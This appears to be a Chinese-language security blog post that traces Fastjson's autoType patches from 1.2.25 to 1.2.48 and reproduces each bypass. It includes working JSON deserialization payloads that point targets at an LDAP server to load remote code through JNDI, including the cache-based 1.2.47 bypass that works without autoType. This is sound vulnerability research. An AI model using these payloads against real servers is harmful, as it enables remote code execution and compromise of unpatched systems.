Fastjson 反序列化漏洞分析 1.2.25-1.2.47
寫在前面
上一篇文,主要跟了下Fastjson中反序列化的邏輯,以及在1.2.22-1.2.24版本中TemplatesImpl
和JdbcRowSetImpl
兩條鏈,這篇記錄下各個版本的Bypass補丁和繞過的復現,打算後面再寫篇文,整理下不出網如何利用Fastjson
Fastjson 1.2.25修復
修復改動:
- 自從1.2.25 起 autotype 預設為False
- 增加 checkAutoType 方法,在該方法中進行黑名單校驗,同時增加白名單機制
修改pom.xml換成1.2.25版本的Fastjson
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
首先對著1.2.25版本的fastjson打一發1.2.24版本的payload,看一下結果,已經打不成了。
先來把1.2.25jar包下下來,使用idea中Compare With...
diff下原始碼看下如何修復的,在DefaultJSONParser
類中多了一個checkAutoType
方法檢測
這裡的話如果開了autoType
會先走一個白名單acceptList
的判斷,如果當前@Type
指定的要反序列化的類以acceptList
陣列中某一元素開頭則直接loadClass
去載入
但是因為預設白名單是空的,需要自己去add
,所以走下面的黑名單denyList
,黑名單如下:
"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"
而1.2.24 中我們用到的類是com.sun.rowset.JdbcRowSetImpl
也在黑名單中,所以會丟擲auto type not support
異常
而如果沒有開啟autoType
則會先走黑名單,如果指定類不在黑名單中再走白名單的判斷,符合後再去loadClass
該類
Fastjson 1.2.25-1.2.41 Bypass
先看第一種payload:需開啟autoType
"{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}";
這個點其實上一篇文章有提到,除錯看一下
首先跟進到checkAutoType
中,因為這次@type
指定類寫法變為Lcom.sun.rowset.JdbcRowSetImpl;
所以可以很輕鬆的繞過黑名單
後續在loadClass
方法中 ,滿足了類名以L
開頭以;
結尾,進而也可以呼叫到loadClass
載入並返回class物件
L [ ; 這些字元是 JNI 欄位描述符,可參考這篇文章
那因此,當className
第一個字元為[
時也同樣可以進行繞過
payload: 需開啟autoType
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}
首先是通過[
繞過黑名單進入loadClass
,之後第一次讀取完類名為[com.sun.rowset.JdbcRowSetImpl
,loadClass之後變為[Lcom.sun.rowset.JdbcRowSetImpl;
。而之後的[{
判斷分別在JavaBeanDeserializer#deserialze
方法和DefaultJSONParser#parseArray
方法中
parseArray:需要當前有[
才進入後續deserialze
方法
後續在deserialze
方法中,需要構造{
。具體可參考這篇文章
當然這個payload是可以通殺1.2.25-1.2.43版本
Fastjson 1.2.25-1.2.42 Bypass
從1.2.42版本開始,在ParserConfig
類中可以看到黑名單改為了雜湊黑名單,目的是防止對黑名單進行分析繞過,目前已經破解出來的黑名單:https://github.com/LeadroyaL/fastjson-blacklist
payload:需開啟autoType ,通過雙寫L
和;
進行繞過
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}
下面除錯分析一下,還是跟進到checkAutoType
方法開始看
首先第一次處理時會先去掉一層L
;
然後進行黑名單hash的比對,比對完成後進入loadClass方法
跟進後發現傳遞的引數依然是typeName而不是我們上面看到的className,那麼看看下面是如何處理掉2層L
和;
的,首先依然是進入滿足L
開頭;
結尾的邏輯,之後通過遞迴的方式去處理的className
,所以當第二次再進入loadClass
方法時就會去除掉L
和;
以正常的類名去loadClass
了
Fastjson 1.2.25-1.2.43 Bypass
在1.2.43版本時在checkAutoType
方法新增了如下的判斷,導致雙寫L
,;
無法繞過。所以在此版本下可以選擇上面提到的,走入[
的判斷邏輯去觸發JNDI
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
payload:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}
Fastjson 1.2.25-1.2.45 Bypass
1.2.44版本對[
的繞過payload做了限制,當第一個字元為[
時丟擲異常
payload:開啟autoTyoe;需要目標服務端存在mybatis的jar包,且版本需為3.x.x-3.5.0的版本。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/Basic/TomcatEcho"}
該payload主要因為org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
不在黑名單中可繞過檢測,因為傳入properties
會呼叫setProperties
方法進而觸發JNDI
Fastjson 1.2.25-1.2.47 通殺
這裡有2個版本段
- 1.2.25-1.2.32版本:不能開啟AutoType
- 1.2.33-1.2.47版本:無論是否開啟AutoType,都能成功利用
payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho",
"autoCommit":true
}
}
1.2.25-1.2.32 不能開啟autoType
首先來看1.2.25-1.2.32不能開啟AutoType
還是看到checkAutoType
方法,因為沒開啟autotype所以不會進入黑白名單判斷的邏輯,並且因為是jdk自帶的Class類,所以可以找到
最終將其class物件直接return出來
之後呼叫MiscCodec#deserialize
方法時,會去呼叫loadClass
載入JdbcRowSetImpl
,而strVal的值是在上面通過判斷鍵是否為”val”,是的話再提取val鍵對應的值賦給objVal變數,而objVal在後面會賦值給strVal變數。
跟進loadClass
,最終會將className與class物件的對映快取到mappings中
而再一次進入checkAutoType
方法後,會先從mappings中拿出class物件賦值給clazz
後續直接return該class物件 ,從而繞過了檢測
1.2.33-1.2.47 通殺
這裡拿1.2.47做除錯
依舊是跟進到checkAutoType
方法,和上面的部分一樣,依舊是通過findClass
可以找到java.lang.Class
類,之後將其class物件return出來,之後就是將JdbcRowSetImpl
快取到mappings裡
主要看第二次進入checkAutoType
時的邏輯,主要是下面這個if。
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
但是看網上文章都說是“滿足”條件,這裡我跟的時候發現這兩個判斷結果都為false,主要存在不同的是第二個點,這裡我是開啟autotype除錯的,因為這裡進入checkAutoType
直接就進行了白+黑的檢測,並沒有呼叫getMapping,所以這裡if中第二個條件為null,也即false,從而不會丟擲異常
後續就沒啥好說的了,和上面過程類似,從mappings中獲取到JdbcSetRowImpl
之後直接返回該class物件
為什麼分成兩個小版本段
我們來diff下1.2.32和1.2.33,看看具體變動在哪裡,觀察到checkAutoType
方法在1.2.33之後多了TypeUtils.getClassFromMapping(typeName) == null
,也就是在黑名單中也會從mappings獲取類,也就是當前類在黑名單中且在mappings中沒有,才會丟擲異常;而在1.2.32之前,只是黑名單的判斷,在黑名單中就拋異常,不在就不拋。
Fastjson 1.2.48版本修復
在TypeUtils#loadClass中禁止了cache的使用,那麼通過先put到mappings中再等到第二次走checkAutoType時再呼叫TypeUtils.getClassFromMapping()來載入這種繞過黑名單的姿勢就不能再用了
Reference
https://su18.org/post/fastjson/
https://www.mi1k7ea.com/2019/11/10/Fastjson系列三——歷史版本補丁繞過(需開啟AutoType)/
https://xz.aliyun.com/t/9052
https://www.cnblogs.com/nice0e3/p/14776043.html